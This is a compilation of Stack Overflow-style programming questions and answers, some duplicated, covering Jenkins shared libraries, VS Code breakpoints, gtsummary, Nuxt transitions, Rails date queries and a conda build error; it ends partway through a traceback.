问:
Jenkins shared-library: custom step
Following this section of jenkins documentation, I’ve defined a global var in:

```<code>my-shared-library/vars/unLabel.groovy
</code>```

The library is loaded implicitly and the code is:

```<code>def call(String labelName, String tfsPath) {
    echo "Hello, ${labelName} ${tfsPath}"
}
</code>```

Next from gui I created a pipeline and I choosed "Pipeline script", in the text area I wrote:

```<code>label 'my-agent'
unLabel('test1','test2')
</code>```

I got this exception:

```<code>hudson.remoting.ProxyException: groovy.lang.MissingMethodException: No signature of method: org.jenkinsci.plugins.workflow.cps.UninstantiatedDescribableWithInterpolation.unLabel() is applicable for argument types: (java.lang.String, java.lang.String) values: [test, test1]
    at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.unwrap(ScriptBytecodeAdapter.java:58)
    at org.codehaus.groovy.runtime.callsite.PojoMetaClassSite.call(PojoMetaClassSite.java:49)
    at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:48)
    at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:113)
    at com.cloudbees.groovy.cps.sandbox.DefaultInvoker.methodCall(DefaultInvoker.java:20)
    at WorkflowScript.run(WorkflowScript:2)
    at ___cps.transform___(Native Method)
    at com.cloudbees.groovy.cps.impl.ContinuationGroup.methodCall(ContinuationGroup.java:86)
    at com.cloudbees.groovy.cps.impl.FunctionCallBlock$ContinuationImpl.dispatchOrArg(FunctionCallBlock.java:113)
    at com.cloudbees.groovy.cps.impl.FunctionCallBlock$ContinuationImpl.fixArg(FunctionCallBlock.java:83)
    at sun.reflect.GeneratedMethodAccessor670.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at com.cloudbees.groovy.cps.impl.ContinuationPtr$ContinuationImpl.receive(ContinuationPtr.java:72)
    at com.cloudbees.groovy.cps.impl.ConstantBlock.eval(ConstantBlock.java:21)
    at com.cloudbees.groovy.cps.Next.step(Next.java:83)
    at com.cloudbees.groovy.cps.Continuable$1.call(Continuable.java:174)
    at com.cloudbees.groovy.cps.Continuable$1.call(Continuable.java:163)
    at org.codehaus.groovy.runtime.GroovyCategorySupport$ThreadCategoryInfo.use(GroovyCategorySupport.java:129)
    at org.codehaus.groovy.runtime.GroovyCategorySupport.use(GroovyCategorySupport.java:268)
    at com.cloudbees.groovy.cps.Continuable.run0(Continuable.java:163)
    at org.jenkinsci.plugins.workflow.cps.CpsThread.runNextChunk(CpsThread.java:185)
    at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup.run(CpsThreadGroup.java:402)
    at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup.access$400(CpsThreadGroup.java:96)
    at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup$2.call(CpsThreadGroup.java:314)
    at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup$2.call(CpsThreadGroup.java:278)
    at org.jenkinsci.plugins.workflow.cps.CpsVmExecutorService$2.call(CpsVmExecutorService.java:67)
    at java.util.concurrent.FutureTask.run(FutureTask.java:266)
    at hudson.remoting.SingleLaneExecutorService$1.run(SingleLaneExecutorService.java:139)
    at jenkins.util.ContextResettingExecutorService$1.run(ContextResettingExecutorService.java:28)
    at jenkins.security.ImpersonatingExecutorService$1.run(ImpersonatingExecutorService.java:68)
    at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
    at java.util.concurrent.FutureTask.run(FutureTask.java:266)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
    at java.lang.Thread.run(Thread.java:748)
</code>```

Even if I call:

```<code>unLabel "test1", "test2"
</code>```

or

```<code>unLabel("test1","test2")
</code>```

or

```<code>unLabel 'test1', 'test2'
</code>```

it doesn’t work.

I've tried to access shared-library from a pipeline defined using dsl plugin, here is the definition:

```<code>pipelineJob('tfs-unlabel') {
        description('delete label')
        parameters {
             stringParam('LABEL_NAME', '', 'The label name that will be removed')
             stringParam('TFS_PROJ_FOLDER', '', 'The TFS project path where label will be removed)
        }
        definition {
            cpsFlowDefinition {
                script("label 'maven-agent' unLabel params.LABEL_NAME, params.TFS_PROJ_FOLDER")
                sandbox(false)
            }
        }
}
</code>```

This did not works too.

During my attempts I made a syntax error and in the returned exception I could notice that the custom step is defined. This is the exception:

```<code>java.lang.NoSuchMethodError: No such DSL method '$' found among steps [....] or globals [..., env, params, pipeline, scm, unLabel]
</code>```

So what is wrong here, can someone help me, please?

答:
Your following code:

label 'my-agent'
unLabel('test1','test2')
```
<p>Is not a valid scripted pipeline syntax nor a declarative pipeline syntax.<br />
See the Documentation for more details and differences between the two.</p>
<p>To solve it change you code to one of the following options:</p>
<ol>
<li>Scripted syntax without an agent (node) context:</li>
</ol>
<pre class="lang-groovy prettyprint-override"><code>  unLabel('test1','test2')
</code>```

Scripted syntax with an agent (node) context:

  node('my-agent'){
      unLabel('test1','test2')
  }
```
<ol start="3">
<li>Declarative syntax without an agent (node) context:</li>
</ol>
<pre class="lang-groovy prettyprint-override"><code>   pipeline {
       agent none
       stages {
           stage('Your Stage') {
              steps {
                 script { // Needed as calling a self defined function
                    unLabel('test1','test2')
                 }
              }
           }
        }
     }
</code>```

Declarative syntax with an agent (node) context:

   pipeline {
       agent { label 'my-agent' }
       stages {
           stage('Your Stage') {
              steps {
                 script { // Needed as calling a self defined function
                    unLabel('test1','test2')
                 }
              }
           }
        }
     }
```

Title: Jenkins shared-library: custom step

Body:
Following this section of jenkins documentation, I’ve defined a global var in:

my-shared-library/vars/unLabel.groovy

The library is loaded implicitly and the code is:

def call(String labelName, String tfsPath) {
    echo "Hello, ${labelName} ${tfsPath}"
}

Next from gui I created a pipeline and I choosed "Pipeline script", in the text area I wrote:

label 'my-agent'
unLabel('test1','test2')

I got this exception:

hudson.remoting.ProxyException: groovy.lang.MissingMethodException: No signature of method: org.jenkinsci.plugins.workflow.cps.UninstantiatedDescribableWithInterpolation.unLabel() is applicable for argument types: (java.lang.String, java.lang.String) values: [test, test1]
    at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.unwrap(ScriptBytecodeAdapter.java:58)
    at org.codehaus.groovy.runtime.callsite.PojoMetaClassSite.call(PojoMetaClassSite.java:49)
    at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:48)
    at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:113)
    at com.cloudbees.groovy.cps.sandbox.DefaultInvoker.methodCall(DefaultInvoker.java:20)
    at WorkflowScript.run(WorkflowScript:2)
    at ___cps.transform___(Native Method)
    at com.cloudbees.groovy.cps.impl.ContinuationGroup.methodCall(ContinuationGroup.java:86)
    at com.cloudbees.groovy.cps.impl.FunctionCallBlock$ContinuationImpl.dispatchOrArg(FunctionCallBlock.java:113)
    at com.cloudbees.groovy.cps.impl.FunctionCallBlock$ContinuationImpl.fixArg(FunctionCallBlock.java:83)
    at sun.reflect.GeneratedMethodAccessor670.invoke(Unknown Source)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:498)
    at com.cloudbees.groovy.cps.impl.ContinuationPtr$ContinuationImpl.receive(ContinuationPtr.java:72)
    at com.cloudbees.groovy.cps.impl.ConstantBlock.eval(ConstantBlock.java:21)
    at com.cloudbees.groovy.cps.Next.step(Next.java:83)
    at com.cloudbees.groovy.cps.Continuable$1.call(Continuable.java:174)
    at com.cloudbees.groovy.cps.Continuable$1.call(Continuable.java:163)
    at org.codehaus.groovy.runtime.GroovyCategorySupport$ThreadCategoryInfo.use(GroovyCategorySupport.java:129)
    at org.codehaus.groovy.runtime.GroovyCategorySupport.use(GroovyCategorySupport.java:268)
    at com.cloudbees.groovy.cps.Continuable.run0(Continuable.java:163)
    at org.jenkinsci.plugins.workflow.cps.CpsThread.runNextChunk(CpsThread.java:185)
    at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup.run(CpsThreadGroup.java:402)
    at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup.access$400(CpsThreadGroup.java:96)
    at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup$2.call(CpsThreadGroup.java:314)
    at org.jenkinsci.plugins.workflow.cps.CpsThreadGroup$2.call(CpsThreadGroup.java:278)
    at org.jenkinsci.plugins.workflow.cps.CpsVmExecutorService$2.call(CpsVmExecutorService.java:67)
    at java.util.concurrent.FutureTask.run(FutureTask.java:266)
    at hudson.remoting.SingleLaneExecutorService$1.run(SingleLaneExecutorService.java:139)
    at jenkins.util.ContextResettingExecutorService$1.run(ContextResettingExecutorService.java:28)
    at jenkins.security.ImpersonatingExecutorService$1.run(ImpersonatingExecutorService.java:68)
    at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
    at java.util.concurrent.FutureTask.run(FutureTask.java:266)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
    at java.lang.Thread.run(Thread.java:748)

Even if I call:

unLabel "test1", "test2"

or

unLabel("test1","test2")

or

unLabel 'test1', 'test2'

it doesn’t work.

I've tried to access shared-library from a pipeline defined using dsl plugin, here is the definition:

pipelineJob('tfs-unlabel') {
        description('delete label')
        parameters {
             stringParam('LABEL_NAME', '', 'The label name that will be removed')
             stringParam('TFS_PROJ_FOLDER', '', 'The TFS project path where label will be removed)
        }
        definition {
            cpsFlowDefinition {
                script("label 'maven-agent' unLabel params.LABEL_NAME, params.TFS_PROJ_FOLDER")
                sandbox(false)
            }
        }
}

This did not works too.

During my attempts I made a syntax error and in the returned exception I could notice that the custom step is defined. This is the exception:

java.lang.NoSuchMethodError: No such DSL method '$' found among steps [....] or globals [..., env, params, pipeline, scm, unLabel]

So what is wrong here, can someone help me, please?

Body:
Your following code:

label 'my-agent'
unLabel('test1','test2')

Is not a valid scripted pipeline syntax nor a declarative pipeline syntax.

See the Documentation for more details and differences between the two.

To solve it change you code to one of the following options:

Scripted syntax without an agent (node) context:

  unLabel('test1','test2')

Scripted syntax with an agent (node) context:

  node('my-agent'){
      unLabel('test1','test2')
  }

Declarative syntax without an agent (node) context:

   pipeline {
       agent none
       stages {
           stage('Your Stage') {
              steps {
                 script { // Needed as calling a self defined function
                    unLabel('test1','test2')
                 }
              }
           }
        }
     }

Declarative syntax with an agent (node) context:

   pipeline {
       agent { label 'my-agent' }
       stages {
           stage('Your Stage') {
              steps {
                 script { // Needed as calling a self defined function
                    unLabel('test1','test2')
                 }
              }
           }
        }
     }


来源: stackexchange

问:
Missing programFiles/java when trying to publish rn app
okay, when i wanna publish my reactNative app and see the docs i'm stuck on the first step.

You can generate a private signing key using keytool. On Windows
keytool must be run from C:\Program Files\Java\jdkx.x.x_x\bin.

when i see my programfiles, there is no java folder there. Am i need android studio to get this, or installing something? please help

答:
C:\Program Files  for 64bit installation

C:\Program Files (x86) for 32bit installation

or search java  C drive

or you need to install java SE from oracle

ContentLicense: CC BY-SA 4.0


问:
Conditional breakpoint ( or edit breakpoint) in VS code debugging is not working
I'm trying to use conditional breakpoint
like 'lessThan5' is executed if n is 3 and 'greaterThan5' is executed if n is 10.

(Please excuse this so simple example. It was just made for asking question to solve other problem)

function lessThan5(n){
  console.log('less than 5');
}

function greaterThan5(n){
  console.log('greater than 5');
}

function checkNum(n){
  if(n < 5 ){
    lessThan5();
  } else {
    greaterThan5();
  }
}

checkNum(n);
```

I tried 'Add breakpoint' in VScode at checkNum(n) and change n to 3 with 'Expression in Edit breakpoint'. But I got 'ReferenceError: n is not defined'.
I guess I've searched almost everything about editting breakpoint but it didn't work.

Is there any possible way to insert conditional input in VS code debug mode?

答:
It isn't clear to me exactly what you are trying to do, but here is how you could set a conditional breakpoint at checkNum(n):

Then you call checkNum(<someValue>) like checkNum(11) and the debugger will stop at your conditional breakpoint since (n < 5) || (n > 10) returns true.

Body:
I'm trying to use conditional breakpoint
like 'lessThan5' is executed if n is 3 and 'greaterThan5' is executed if n is 10.

(Please excuse this so simple example. It was just made for asking question to solve other problem)

function lessThan5(n){
  console.log('less than 5');
}

function greaterThan5(n){
  console.log('greater than 5');
}

function checkNum(n){
  if(n < 5 ){
    lessThan5();
  } else {
    greaterThan5();
  }
}

checkNum(n);

I tried 'Add breakpoint' in VScode at checkNum(n) and change n to 3 with 'Expression in Edit breakpoint'. But I got 'ReferenceError: n is not defined'.
I guess I've searched almost everything about editting breakpoint but it didn't work.

Is there any possible way to insert conditional input in VS code debug mode?


问:
There is a way to add a column with the test statistics in gtsummary::tbl_regression()?
Is there a way to add the Statistic for each variable as a column in a tbl_regresion() with {gtsummary}? In Psychology is not uncommon for reviewers to expect this column in the tables.

When using {sjPlot}, just need to add the show.stat parameter, and the Statistic column will appear showing the t value from summary(model).

```<code>library(gtsummary)
library(sjPlot)

model <- lm(mpg ~ cyl + wt, data = mtcars)
tab_model(model, show.stat = TRUE)

</code>```

With {gtsummary} I can't find anywhere how to add an equivalent column when using tbl_regression(). Would just want to show a column with the values already present in the model.

```<code>library(gtsummary)
model <- lm(mpg ~ cyl + wt, data = mtcars)

stats_to_include =c("r.squared", "adj.r.squared", "nobs")
tbl_regression(model, intercept = TRUE, show_single_row = everything()) %>%
  bold_p() %>%
  add_glance_table(include = all_of(stats_to_include))
</code>```

答:
Yep! The statistic column is already in the table, but it's hidden by default. You can unhide it (and other columns) with the modify_column_unhide() function. Example below!

library(gtsummary)
packageVersion("gtsummary")
#> [1] '1.5.2'

model <- lm(mpg ~ cyl + wt, data = mtcars)

tbl <-
  tbl_regression(model, intercept = TRUE, show_single_row = everything()) %>%
  bold_p() %>%
  add_glance_table(include = c(r.squared, adj.r.squared, nobs)) %>%
  modify_column_unhide(columns = c(statistic, std.error))
```

Created on 2022-02-07 by the reprex package (v2.0.1)

FYI if you're interested, we also support journal themes in gtsummary. You can, for example, load the JAMA theme and the gtsummary results will be auto-formatted for publication in JAMA. We don't have Psychology theme, but if you file a GitHub Issue, we can collaborate on adding one. We can add things like showing the statistic column by default (and much more).

https://www.danieldsjoberg.com/gtsummary/reference/theme_gtsummary.html

Body:
Is there a way to add the Statistic for each variable as a column in a tbl_regresion() with {gtsummary}? In Psychology is not uncommon for reviewers to expect this column in the tables.

When using {sjPlot}, just need to add the show.stat parameter, and the Statistic column will appear showing the t value from summary(model).

library(gtsummary)
library(sjPlot)

model <- lm(mpg ~ cyl + wt, data = mtcars)
tab_model(model, show.stat = TRUE)

With {gtsummary} I can't find anywhere how to add an equivalent column when using tbl_regression(). Would just want to show a column with the values already present in the model.

library(gtsummary)
model <- lm(mpg ~ cyl + wt, data = mtcars)

stats_to_include =c("r.squared", "adj.r.squared", "nobs")
tbl_regression(model, intercept = TRUE, show_single_row = everything()) %>%
  bold_p() %>%
  add_glance_table(include = all_of(stats_to_include))

Body:
Yep! The statistic column is already in the table, but it's hidden by default. You can unhide it (and other columns) with the modify_column_unhide() function. Example below!

library(gtsummary)
packageVersion("gtsummary")
#> [1] '1.5.2'

model <- lm(mpg ~ cyl + wt, data = mtcars)

tbl <-
  tbl_regression(model, intercept = TRUE, show_single_row = everything()) %>%
  bold_p() %>%
  add_glance_table(include = c(r.squared, adj.r.squared, nobs)) %>%
  modify_column_unhide(columns = c(statistic, std.error))

Created on 2022-02-07 by the reprex package (v2.0.1)

FYI if you're interested, we also support journal themes in gtsummary. You can, for example, load the JAMA theme and the gtsummary results will be auto-formatted for publication in JAMA. We don't have Psychology theme, but if you file a GitHub Issue, we can collaborate on adding one. We can add things like showing the statistic column by default (and much more).

https://www.danieldsjoberg.com/gtsummary/reference/theme_gtsummary.html


问:
Error in file(con, "w") : cannot open the connection [Using R-Studio to plot interactive bar graphs using rCharts, knitr]
I am getting an error when I am trying to run the code below in R-Studio 3.3.2 on a Mac (OS Sierra)

```<code>devtools::install_github('ramnathv/rCharts')
install.packages("knitr")
require(rCharts)
require(knitr)

haireye <- as.data.frame(HairEyeColor)
n1 <- nPlot(Freq ~ Hair, group = 'Eye', type = 'multiBarChart',
        data = subset(haireye, Sex == 'Male')
        )

n1$save('fig/n1.html', cdn = TRUE)
cat('<iframe src="fig/n1.html" width= 100%, height=600</iframe>')
</code>```

Pls see output below:

Error in file(con, "w") : cannot open the connection
  In addition: Warning message: In file(con, "w") :   cannot open file 'fig/n1.html': No such file or directory

But I am able to generate the reqd bar graph in the viewer when I use:

```<code>n1$show(cdn = TRUE)
</code>```

in lieu of n1$save('fig/n1.html', cdn = TRUE)

To take care of write permission issues (if any), I also tried including the line below, altering the WD path wherever necessary.

```<code>knitr::knit2html('Users/documents/n1.html')
</code>```

But it did not help. I see the n1.html file created but it only opens an empty browser.

Any help to resolve this is appreciated.

Best,
S

答:
I have fixed this problem with good old rm(list=ls()) . I know I have
fallen into sequences where the error stops execution of my script.  I fix the error, and then it won't run. This is likely due to lazy evaluation but it is a near impossible problem to diagnose, so the solution at the top works almost all the time.

ContentLicense: CC BY-SA 3.0

Body:
I am getting an error when I am trying to run the code below in R-Studio 3.3.2 on a Mac (OS Sierra)

devtools::install_github('ramnathv/rCharts')
install.packages("knitr")
require(rCharts)
require(knitr)

haireye <- as.data.frame(HairEyeColor)
n1 <- nPlot(Freq ~ Hair, group = 'Eye', type = 'multiBarChart',
        data = subset(haireye, Sex == 'Male')
        )

n1$save('fig/n1.html', cdn = TRUE)
cat('<iframe src="fig/n1.html" width= 100%, height=600')

Pls see output below:

Error in file(con, "w") : cannot open the connection
  In addition: Warning message: In file(con, "w") :   cannot open file 'fig/n1.html': No such file or directory

But I am able to generate the reqd bar graph in the viewer when I use:

n1$show(cdn = TRUE)

in lieu of n1$save('fig/n1.html', cdn = TRUE)

To take care of write permission issues (if any), I also tried including the line below, altering the WD path wherever necessary.

knitr::knit2html('Users/documents/n1.html')

But it did not help. I see the n1.html file created but it only opens an empty browser.

Any help to resolve this is appreciated.

Best,
S


问:
Nuxt child transitions not working in some cases
I have an app with a simple child/grandchild 2-layer nesting and I'm trying to do transitions on both layers of nuxt-child(ren). Mysteriously, the transition works fine on the grandchild but for some reason doesnt work on the child even though its the same transition. I can inspect in the inspector and verify that its applying the classes correctly. What ends up happening is that instead of a smooth transition for 500ms, it just pauses for 500ms and renders the child page.

Here's the simple repo demonstrating the issue. Here's the code sandbox with a deployed app.

Here's how I'm doing transitions:

Template:

```<code>    <transition name="jade" mode="out-in">
      <nuxt-child></nuxt-child>
    </transition>
</code>```

Style:

```<code>.jade-enter-active {
  transition: all .3s ease;
}
.jade-leave-active {
  transition: all .8s cubic-bezier(1.0, 0.5, 0.8, 1.0);
}
.jade-enter, .jade-leave-to
{
  transform: translateX(10px);
  opacity: 0;
}
</code>```

答:
While I'm not entirely sure why this is happening, there are two ways you can solve this

Using transition property in individual pages (Nuxt Docs)

/src/index.vue

```<code>export default {
  transition: {
    name: 'jade',
    mode: 'out-in'
  }
}
</code>```

Set pageTransition in nuxt.config.js, which will apply globally to all the transition components (Nuxt Docs)

/nuxt.config.js

```<code>export default {
  pageTransition: 'jade'
  // or
  pageTransition: {
    name: 'jade',
    mode: 'out-in'
  }
}
</code>```

Here's my Sandbox link using transition property

Body:
I have an app with a simple child/grandchild 2-layer nesting and I'm trying to do transitions on both layers of nuxt-child(ren). Mysteriously, the transition works fine on the grandchild but for some reason doesnt work on the child even though its the same transition. I can inspect in the inspector and verify that its applying the classes correctly. What ends up happening is that instead of a smooth transition for 500ms, it just pauses for 500ms and renders the child page.

Here's the simple repo demonstrating the issue. Here's the code sandbox with a deployed app.

Here's how I'm doing transitions:

Template:

    <transition name="jade" mode="out-in">
      <nuxt-child></nuxt-child>
    </transition>

Style:

.jade-enter-active {
  transition: all .3s ease;
}
.jade-leave-active {
  transition: all .8s cubic-bezier(1.0, 0.5, 0.8, 1.0);
}
.jade-enter, .jade-leave-to
{
  transform: translateX(10px);
  opacity: 0;
}

Body:
While I'm not entirely sure why this is happening, there are two ways you can solve this

Using transition property in individual pages (Nuxt Docs)

/src/index.vue

export default {
  transition: {
    name: 'jade',
    mode: 'out-in'
  }
}

Set pageTransition in nuxt.config.js, which will apply globally to all the transition components (Nuxt Docs)

/nuxt.config.js

export default {
  pageTransition: 'jade'
  // or
  pageTransition: {
    name: 'jade',
    mode: 'out-in'
  }
}

Here's my Sandbox link using transition property


问:
Fetch data from google sheet using React
I would like to fetch data from the google sheet with React.

I tried to use the following libraries
https://github.com/ruucm/react-google-sheets
https://github.com/gglukmann/use-google-sheets

However, it always requires setting the file permission to "Anyone with this link can view". We don't want to share the file outside our org. If we do this, the client cannot read the data from google sheet.

Is there any way that I can fetch data from a restricted google sheet? Thank you

答:
You need to use the Google Sheets API to connect to the Sheet and fetch the data.

The application would need to be authorised to run as the person who owns or is an editor of the sheet. Check out the node.js quickstart for setting up an application in the cloud console. The method you need to get data is spreadsheets.values.get.


问:
Getting read ECONNRESET at TCP.onStreamRead error, while making connection with AZURE server
Hi all I am learning Nodejs. I am uploading file to AZURE server, but getting the below error after every 3-4 minutes. Anyone have the solution for this?

The error is ->

```<code>Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:111:27)
Emitted 'error' event at:
at Connection._handleProtocolError
(/Data/core/node_modules/mysql/lib/Connection.js:425:8)
at Protocol.emit (events.js:198:13)
at Protocol.EventEmitter.emit (domain.js:448:20)
at Protocol._delegateError
(/Data/core/node_modules/mysql/lib/protocol/Protocol.js:390:10)
at Protocol.handleNetworkError
(/Data/core/node_modules/mysql/lib/protocol/Protocol.js:363:10)
at Connection._handleNetworkError
(/Data/core/node_modules/mysql/lib/Connection.js:420:18)
at Socket.emit (events.js:198:13)
at Socket.EventEmitter.emit (domain.js:448:20)
at emitErrorNT (internal/streams/destroy.js:91:8)
at emitErrorAndCloseNT (internal/streams/destroy.js:59:3)
</code>```

答:
"ECONNRESET" means the other side of the TCP conversation abruptly closed its end of the connection. This is most probably due to one or more application protocol errors. You could look at the API server logs to see if it complains about something.

Glad @RakeshSaini that you identified the error which was in the connection waiting limit in the MySQL and for fixing the issue.

Body:
Hi all I am learning Nodejs. I am uploading file to AZURE server, but getting the below error after every 3-4 minutes. Anyone have the solution for this?

The error is ->

Error: read ECONNRESET
at TCP.onStreamRead (internal/stream_base_commons.js:111:27)
Emitted 'error' event at:
at Connection._handleProtocolError
(/Data/core/node_modules/mysql/lib/Connection.js:425:8)
at Protocol.emit (events.js:198:13)
at Protocol.EventEmitter.emit (domain.js:448:20)
at Protocol._delegateError
(/Data/core/node_modules/mysql/lib/protocol/Protocol.js:390:10)
at Protocol.handleNetworkError
(/Data/core/node_modules/mysql/lib/protocol/Protocol.js:363:10)
at Connection._handleNetworkError
(/Data/core/node_modules/mysql/lib/Connection.js:420:18)
at Socket.emit (events.js:198:13)
at Socket.EventEmitter.emit (domain.js:448:20)
at emitErrorNT (internal/streams/destroy.js:91:8)
at emitErrorAndCloseNT (internal/streams/destroy.js:59:3)


问:
Use active record to find a record by month and day, ignoring year and time
I have a model (Entries) with five years worth of records (one record per day). I need a method that, when passed a date object such as 2011-12-25 00:00:00, will show me ALL the records that have happened on 12/25 (querying against the :created_at column), regardless of the year or time that's passed.

RoR 3.0.9 / Ruby 1.9.2p290

答:
A general solution that should work with most SQL databases (include MySQL and PostgreSQL):

```<code>Entry.where('extract(month from created_at) = ? AND extract(day from created_at) = ?', d.month, d.day)
</code>```

SQLite doesn't understand extract though so you'd have to use:

```<code>Entry.where("strftime('%m/%d', created_at) = ?", d.strftime('%m/%d'))
</code>```

Body:
A general solution that should work with most SQL databases (include MySQL and PostgreSQL):

Entry.where('extract(month from created_at) = ? AND extract(day from created_at) = ?', d.month, d.day)

SQLite doesn't understand extract though so you'd have to use:

Entry.where("strftime('%m/%d', created_at) = ?", d.strftime('%m/%d'))


问:
How to fix error when building conda package related to "Icon" file?
I honestly can't figure out what is happening with this error. I thought it was something in my manifest file but apparently it's not.

Note, this directory is in my Google Drive.

Here is my MANIFEST.in file:

```<code>graft soothsayer_utils
include setup.py
include LICENSE.txt
include README.md
global-exclude Icon*
global-exclude *.py[co]
global-exclude .DS_Store
</code>```

I'm running conda build . in the directory and get the following error:

```<code>Packaging soothsayer_utils
INFO:conda_build.build:Packaging soothsayer_utils
INFO conda_build.build:build(2214): Packaging soothsayer_utils
Packaging soothsayer_utils-2022.01.19-py_0
INFO:conda_build.build:Packaging soothsayer_utils-2022.01.19-py_0
INFO conda_build.build:bundle_conda(1454): Packaging soothsayer_utils-2022.01.19-py_0
number of files: 11
Fixing permissions
Packaged license file/s.
INFO :: Time taken to mark (prefix)
        0 replacements in 0 files was 0.11 seconds
'site-packages/soothsayer_utils-2022.1.19.dist-info/Icon' not in tarball
'site-packages/soothsayer_utils-2022.1.19.dist-info/Icon\r' not in info/files
Traceback (most recent call last):
  File "/Users/jespinoz/anaconda3/bin/conda-build", line 11, in <module>
    sys.exit(main())
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/cli/main_build.py", line 474, in main
    execute(sys.argv[1:])
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/cli/main_build.py", line 463, in execute
    outputs = api.build(args.recipe, post=args.post, test_run_post=args.test_run_post,
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/api.py", line 186, in build
    return build_tree(
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/build.py", line 3008, in build_tree
    packages_from_this = build(metadata, stats,
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/build.py", line 2291, in build
    newly_built_packages = bundlers[pkg_type](output_d, m, env, stats)
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/build.py", line 1619, in bundle_conda
    tarcheck.check_all(tmp_path, metadata.config)
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/tarcheck.py", line 89, in check_all
    x.info_files()
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/tarcheck.py", line 53, in info_files
    raise Exception('info/files')
Exception: info/files
</code>```

Here's the complete log

I can confirm that the Icon files do not exist in my soothsayer_utils-2022.1.19.tar.gz file:

```<code>(base) jespinoz@x86_64-apple-darwin13 Downloads % tree soothsayer_utils-2022.1.19
soothsayer_utils-2022.1.19
├── LICENSE.txt
├── MANIFEST.in
├── PKG-INFO
├── README.md
├── setup.cfg
├── setup.py
├── soothsayer_utils
│   ├── __init__.py
│   └── soothsayer_utils.py
└── soothsayer_utils.egg-info
    ├── PKG-INFO
    ├── SOURCES.txt
    ├── dependency_links.txt
    ├── requires.txt
    └── top_level.txt

2 directories, 13 files
</code>```

Can someone help me get conda build to work for my package?

答:
there are a few symptoms I would like to suggest looking into:

There is a WARNING in your error log SetuptoolsDeprecationWarning: setup.py install is deprecated. Use build and pip and other standards-based tools. You have MANIFEST.in, setup.py and setup.cfg probably conflicting between them. Because setup.py is the build script for setuptools. It tells setuptools about your package (such as the name and version) as well as which code files to include. Also, An existing generated MANIFEST will be regenerated without sdist comparing its modification time to the one of MANIFEST.in or setup.py, as explained here.

Please refer to Building and Distributing Packages with Setuptools, also Configuring setup() using setup.cfg files and Quickstart for more information

Maybe not so important, but another thing worth looking into is the fact that there are 2 different python distributions being used at different stages, as Python 3.10 is used at: Using pip 22.0.2 from $PREFIX/lib/python3.10/site-packages/pip (python 3.10) (it is also in your conda dependencies) and Python 3.8 is used at: File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/tarcheck.py", line 53, in info_files raise Exception('info/files') which is where the error happens. So maybe another configuration conflict related to this.

Body:
I honestly can't figure out what is happening with this error. I thought it was something in my manifest file but apparently it's not.

Note, this directory is in my Google Drive.

Here is my MANIFEST.in file:

graft soothsayer_utils
include setup.py
include LICENSE.txt
include README.md
global-exclude Icon*
global-exclude *.py[co]
global-exclude .DS_Store

I'm running conda build . in the directory and get the following error:

Packaging soothsayer_utils
INFO:conda_build.build:Packaging soothsayer_utils
INFO conda_build.build:build(2214): Packaging soothsayer_utils
Packaging soothsayer_utils-2022.01.19-py_0
INFO:conda_build.build:Packaging soothsayer_utils-2022.01.19-py_0
INFO conda_build.build:bundle_conda(1454): Packaging soothsayer_utils-2022.01.19-py_0
number of files: 11
Fixing permissions
Packaged license file/s.
INFO :: Time taken to mark (prefix)
        0 replacements in 0 files was 0.11 seconds
'site-packages/soothsayer_utils-2022.1.19.dist-info/Icon' not in tarball
'site-packages/soothsayer_utils-2022.1.19.dist-info/Icon\r' not in info/files
Traceback (most recent call last):
  File "/Users/jespinoz/anaconda3/bin/conda-build", line 11, in <module>
    sys.exit(main())
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/cli/main_build.py", line 474, in main
    execute(sys.argv[1:])
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/cli/main_build.py", line 463, in execute
    outputs = api.build(args.recipe, post=args.post, test_run_post=args.test_run_post,
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/api.py", line 186, in build
    return build_tree(
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/build.py", line 3008, in build_tree
    packages_from_this = build(metadata, stats,
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/build.py", line 2291, in build
    newly_built_packages = bundlers[pkg_type](output_d, m, env, stats)
  File "/Users/jespinoz/anaconda3/lib/python3.8/site-packages/conda_build/build.py", line 1619, in bundle_conda
    tarcheck.check_all(tmp_path, metadata.config)
